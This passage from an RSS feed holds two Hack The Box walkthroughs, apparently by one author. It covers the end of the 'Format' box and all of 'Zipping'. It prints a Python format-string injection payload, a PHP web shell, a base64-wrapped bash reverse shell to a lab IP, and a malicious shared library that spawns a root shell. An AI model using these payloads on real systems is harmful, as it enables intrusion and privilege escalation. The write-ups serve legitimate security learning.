src="https://cdn-images-1.medium.com/max/1024/1*l46R2u3NYqJ6LhUNUIYHoA.png" /><figcaption>Got cooper shell.</figcaption></figure><p>Read the user flag:</p><pre>cooper@format:~$ cat user.txt <br>ca2f****************************</pre><h3>Gain Shell as Root</h3><p>From here, when I type “sudo -l” there is binary that namely license that can run as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*krk-dLiVoXlcpbr1ftFcxg.png" /><figcaption>sudo -l.</figcaption></figure><p>Then I try to run the binary, but it must take argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odqz4FTbomen6jJU3WsegQ.png" /><figcaption>Run license.</figcaption></figure><p>I also run with username and work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gTfhyuvKOlmeejTONrdyjg.png" /></figure><p>Then I try to cat the license, and the result is the script was written in python.</p><pre>#!/usr/bin/python3<br><br>import base64<br>from cryptography.hazmat.backends import default_backend<br>from cryptography.hazmat.primitives import hashes<br>from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC<br>from cryptography.fernet import Fernet<br>import random<br>import string<br>from datetime import date<br>import redis<br>import argparse<br>import os<br>import sys<br><br>class License():<br>    def __init__(self):<br>        chars = string.ascii_letters + string.digits + string.punctuation<br>        self.license = &#39;&#39;.join(random.choice(chars) for i in range(40))<br>        self.created = date.today()<br><br>if os.geteuid() != 0:<br>    print(&quot;&quot;)<br>    print(&quot;Microblog license key manager can only be run as root&quot;)<br>    print(&quot;&quot;)<br>    sys.exit()<br><br>parser = argparse.ArgumentParser(description=&#39;Microblog license key manager&#39;)<br>group = parser.add_mutually_exclusive_group(required=True)<br>group.add_argument(&#39;-p&#39;, &#39;--provision&#39;, help=&#39;Provision license key for specified user&#39;, metavar=&#39;username&#39;)<br>group.add_argument(&#39;-d&#39;, &#39;--deprovision&#39;, help=&#39;Deprovision license key for specified user&#39;, metavar=&#39;username&#39;)<br>group.add_argument(&#39;-c&#39;, &#39;--check&#39;, help=&#39;Check if specified license key is valid&#39;, metavar=&#39;license_key&#39;)<br>args = parser.parse_args()<br><br>r = redis.Redis(unix_socket_path=&#39;/var/run/redis/redis.sock&#39;)<br><br>secret = [line.strip() for line in open(&quot;/root/license/secret&quot;)][0]<br>secret_encoded = secret.encode()<br>salt = b&#39;microblogsalt123&#39;<br>kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())<br>encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))<br><br>f = Fernet(encryption_key)<br>l = License()<br><br>#provision<br>if(args.provision):<br>    user_profile = r.hgetall(args.provision)<br>    if not user_profile:<br>        print(&quot;&quot;)<br>        print(&quot;User does not exist. Please provide valid username.&quot;)<br>        print(&quot;&quot;)<br>        sys.exit()<br>    existing_keys = open(&quot;/root/license/keys&quot;, &quot;r&quot;)<br>    all_keys = existing_keys.readlines()<br>    for user_key in all_keys:<br>        if(user_key.split(&quot;:&quot;)[0] == args.provision):<br>            print(&quot;&quot;)<br>            print(&quot;License key has already been provisioned for this user&quot;)<br>            print(&quot;&quot;)<br>            sys.exit()<br>    prefix = &quot;microblog&quot;<br>    username = r.hget(args.provision, &quot;username&quot;).decode()<br>    firstlast = r.hget(args.provision, &quot;first-name&quot;).decode() + r.hget(args.provision, &quot;last-name&quot;).decode()<br>    license_key = (prefix + username + &quot;{license.license}&quot; + firstlast).format(license=l)<br>    print(&quot;&quot;)<br>    print(&quot;Plaintext license key:&quot;)<br>    print(&quot;------------------------------------------------------&quot;)<br>    print(license_key)<br>    print(&quot;&quot;)<br>    license_key_encoded = license_key.encode()<br>    license_key_encrypted = f.encrypt(license_key_encoded)<br>    print(&quot;Encrypted license key (distribute to customer):&quot;)<br>    print(&quot;------------------------------------------------------&quot;)<br>    print(license_key_encrypted.decode())<br>    print(&quot;&quot;)<br>    with open(&quot;/root/license/keys&quot;, &quot;a&quot;) as license_keys_file:<br>        license_keys_file.write(args.provision + &quot;:&quot; + license_key_encrypted.decode() + &quot;\n&quot;)<br><br>#deprovision<br>if(args.deprovision):<br>    print(&quot;&quot;)<br>    print(&quot;License key deprovisioning coming soon&quot;)<br>    print(&quot;&quot;)<br>    sys.exit()<br><br>#check<br>if(args.check):<br>    print(&quot;&quot;)<br>    try:<br>        license_key_decrypted = f.decrypt(args.check.encode())<br>        print(&quot;License key valid! Decrypted value:&quot;)<br>        print(&quot;------------------------------------------------------&quot;)<br>        print(license_key_decrypted.decode())<br>    except:<br>        print(&quot;License key invalid&quot;)<br>    print(&quot;&quot;)</pre><p>After read the source code, in secret variable, it open the license file from root directory. And in existing_key, it open the keys file from root directory. And in license_key variable, there is string format which is possible to vulnerable. Then I googling again and found this <a href="https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/"><strong>article</strong></a>. Based on the article, string format function could access attributes objects as well which could leak data. The idea is I create user with redis socket, then inject one of the field with this payload “{license.__init__.__globals__[attribute]}”.</p><p>Create user in redis-cli with inject the field. After it run license again with insert username that has been created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2lNHSFEc5xPR9W5Jw3bXsA.png" /></figure><p>It seems not good because it can’t be read as well. Then I try to read the secret attribute and found the password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0IGR4E5ydQ8p8UiQkDp-Q.png" /></figure><p>Then type su and insert the password. Gain root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*-vA_tZjfK6tKSrolKADBSg.png" /></figure><p>Read the root flag:</p><pre>root@format:~# cat root.txt<br>4b4e****************************</pre><p>Feels so happy to completed this box, because so far when I playing Hack the Box, this box has the hardest difficulty level in my opinion. Start from chain exploits such as Local File Inclusion(LFI), Server Side Request Forgery(SSRF), and Remote Code Execution(RCE) to get reverse shell. Also new insight about redis usage. Lot of new lessons that I can get with completing this box. And I hope with this documentation, it can be a lesson or new insight for people who read. That’s all from me, Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fb0f73201e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box: Zipping Walkthrough]]></title>
            <link>https://medium.com/@zharsuke/hack-the-box-zipping-walkthrough-e1e768c2f5f3?source=rss-fa9cd9cbb58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1e768c2f5f3</guid>
            <dc:creator><![CDATA[Al Azhar Rizqi]]></dc:creator>
            <pubDate>Mon, 04 Sep 2023 22:53:51 GMT</pubDate>
            <atom:updated>2023-09-05T15:53:35.837Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BVNjeU-Uybq8nhu9orSSw.jpeg" /></figure><p>First of all, this is the first medium-level machine on Hack The Box that I’ve completed, and it’s also the first time I’ve written an article. So, I’ve decided to share my walkthrough on how to exploit this box and gain user-root privileges. Without any further do, let’s dive in.</p><h3><strong>Recon</strong></h3><p><strong>nmap</strong></p><p>When I run nmap, there are two open tcp ports 22(ssh) and 80 (http).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oaaYih078vypVfySP08ing.png" /></figure><p>I also add host machine to /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*kWW6Y2vwVmYhjmcXrlQN7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*O71llkvQkyj3aZ-D1Xb5AA.png" /></figure><p><strong>Site</strong></p><p>It is a watch store website called “Zipping.” There are several pages that display all products, product details, a cart, and a curriculum file upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUvzX4f7mUtE_cc4ToqOAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OuSujIRICHGFOwwVSrhHvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJ90iXu6IKfKXck5CbkjLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lC6USA8XN58N4_DpeNFlPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60t3XKZvtqf2kr_Zt8ar6w.png" /></figure><h3><strong>Exploit</strong></h3><p>I assumed that there are several attack vectors, such as id product parameter and file upload. First, I conducted a id parameter test with SQLmap, but the result was nothing. However, the part that piqued my interest was the file upload page.</p><p>According to the description on the file upload page, the website will accept zip files, and inside these zip files, there must be a PDF file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*kvu9UDiexWWSOKC8hVq9CA.png" /></figure><h4><strong>Overview about symlink</strong></h4><p>A symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your computer. Symlinks are similar to shortcuts in Windows. References: <a href="https://effortlesssecurity.in/zip-symlink-vulnerability/">zip symlink vulnerability</a></p><p>I tried a symlink attack to achieve arbitrary file read. References: how <a href="https://security.stackexchange.com/questions/73718/how-zip-symlink-works">zip symlink works</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6UJuY6OTh0oukgqvIT0xAQ.png" /></figure><p>I uploaded zip file into website, but there’s nothing when I open in browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgKfJIQ3vgriJlTj2y8IPA.png" /></figure><p>Then, I try to use curl and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2TZSH6meOuwT8-eVl5_dA.png" /></figure><p>According to the /etc/passwd file, the username is “rektsu.” I also obtained the source code. However, after experimenting, I found that I could only read files but couldn’t write or execute them. This part was challenging for me.</p><p>Then I create php web shell script and set the listener like below.</p><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;form method=&quot;GET&quot; name=&quot;&lt;?php echo basename($_SERVER[&#39;PHP_SELF&#39;]); ?&gt;&quot;&gt;<br>&lt;input type=&quot;TEXT&quot; name=&quot;cmd&quot; autofocus id=&quot;cmd&quot; size=&quot;80&quot;&gt;<br>&lt;input type=&quot;SUBMIT&quot; value=&quot;Execute&quot;&gt;<br>&lt;/form&gt;<br>&lt;pre&gt;<br>&lt;?php<br>    if(isset($_GET[&#39;cmd&#39;]))<br>    {<br>        system($_GET[&#39;cmd&#39;]);<br>    }<br>?&gt;<br>&lt;/pre&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*FTfNuJI0gWO80xS68Dq_Mg.png" /></figure><p>I tried the file upload methodology outlined by <a href="https://book.hacktricks.xyz/pentesting-web/file-upload">HackTricks</a>, attempting to bypass file extension checks to achieve Remote Code Execution (RCE), but in the end, it was nothing.</p><p>When I intercept the zip upload, among the weird characters, there were two PDF file names as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*1Wn1g8P5S95wUicKDo4WEQ.png" /></figure><p>Then, I try play around them until I can bypass file upload restrictions. The key is change “A” (41 in hex) in webshell.phpA.pdf to null (00 in hex) at the second file, then forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gW5ziQ59IGennoqvd6zQ_g.png" /></figure><p>When opening the file in the browser, it is still same 404 not found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TgBevRr17Y-ejXZA2Sb-Ww.png" /></figure><p>Then I deleted everything after “.php”, and it worked. The web shell appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8kI1xoWEJASb6T25EK90Q.png" /></figure><p>I tried to input a reverse shell payload to obtain a shell, but it didn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*E1lobSEhhWrWXnsS-W2_1A.png" /></figure><p>Then I crafted the payload like below.</p><pre>➜ zharsuke@box  ~  echo &quot;/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.92/2424 0&gt;&amp;1 &quot; | base64<br>L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkyLzI0MjQgMD4mMSAK<br>➜ zharsuke@box  ~  echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkyLzI0MjQgMD4mMSAK | base64 -d | bash</pre><ul><li>First, I change it to base64.</li><li>Then echo base64 text, decrypt it, and generate bash.</li></ul><p>And I got the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*1j_3zsLK9sc2zgeWBWY17A.png" /></figure><p>Read the user flag :</p><pre>rektsu@zipping:/home/rektsu$ cat user.txt<br>cat user.txt<br>e1b53***************************</pre><h3><strong>Login SSH with id_rsa</strong></h3><p>I prefer logging in with SSH instead of upgrading my reverse shell because I don’t like the reverse shell interface with just white fonts.</p><p>Generate id_rsa on local box.</p><pre>➜ zharsuke@box  ~/.ssh  ssh-keygen -t rsa </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*f046wwUrmEOa-dSGEECWvA.png" /></figure><p>create server on local box with python like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*wcX5p0A4bAdtUeAiI4vR9A.png" /></figure><p>While on target machine download id_rsa.pub with wget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*GkswRwRV0Aezluc994gnrQ.png" /></figure><p>Add id_rsa.pub to authorized_keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*i4pTuWHSTt9OxV2KUap9eg.png" /></figure><p>Then I can login to ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*k50c2QN7Mf-6qkTqlTQsqQ.png" /></figure><h3><strong>Privilege Escalation</strong></h3><p>As usual, I use <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"><strong>LinPEAS</strong></a> to see possible attack vector.</p><p><strong>Overview about </strong><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"><strong>LinPEAS</strong></a><strong>.</strong></p><p><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"><strong>LinPEAS</strong></a><strong> is a script that search for possible paths to escalate privileges on Linux/Unix* hosts.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*ao3mlLlMjVeRBErXVtyKYQ.png" /></figure><p>On sudo -l section, there is binary that rektsu can run as sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4MkDdWjNfeuiwWQX2OmUTw.png" /></figure><p>I try to run the binary, but unfortunately, it ask me for password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*_gPKuNG4RFoK4k9RBKX8nw.png" /></figure><p>Then I try to cat stock binary and found the password. The password is St0ckM4nager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eg3A_dHA8Suci4AT9XzZpQ.png" /></figure><p>When I run the binary, there are 3 menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*OvM0cJrSuYQPi387sS-rkA.png" /></figure><p>After playing around them, I try to reverse engineering to see running program the stock binary. After copy to local box, I use GDB GEF to reverse engineers.</p><p>Overview GDB GEF</p><p><a href="https://github.com/hugsy/gef">GEF</a> (pronounced ʤɛf - &quot;Jeff&quot;) is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit development. Application developers will also benefit from it, as GEF lifts a great part of regular GDB obscurity, avoiding repeating traditional commands, or bringing out the relevant information from the debugging runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2pDDOZzXg039f2XKVQz5Q.png" /></figure><p>set breakpoint at main function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*hgnUWG07QGp2pJnL3nAF8w.png" /></figure><p>Run. Then ni to next instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMbdTW43mKoR7CrBQCmfIQ.png" /></figure><p>After a while, I found something that interesting me. There is shared library named libcounter.so inside /rektsu/.config directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-5p1BO9YOdT890lADbcUA.png" /></figure><p>But when I check it, there is nothing in .config directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*IthIdup7Y7vEdzWlpOqY1w.png" /></figure><p>After a while for googling I found the way to exploit. The idea is to create file that named libcounter.so then add with malicious code to get root shell.</p><p>exploit.c</p><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void _init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/bin/bash -i&quot;);<br>}</pre><p>After that, I compiled the script into libcounter.so, copied it to the .config directory, run “stock” as sudo, inserted the password, and gained root access!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oWKhvAHTSF3n2J0m84mN1g.png" /></figure><p>Read the root flag :</p><pre>root@zipping:~# cat root.txt<br>fb12****************************</pre><p>Overall, I learned a lot of things from this box, and I am grateful. It took me one week to complete this box, but it made me even more excited to learn.</p><p>“Practice doesn’t make perfect, perfect practice makes perfect.”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1e768c2f5f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>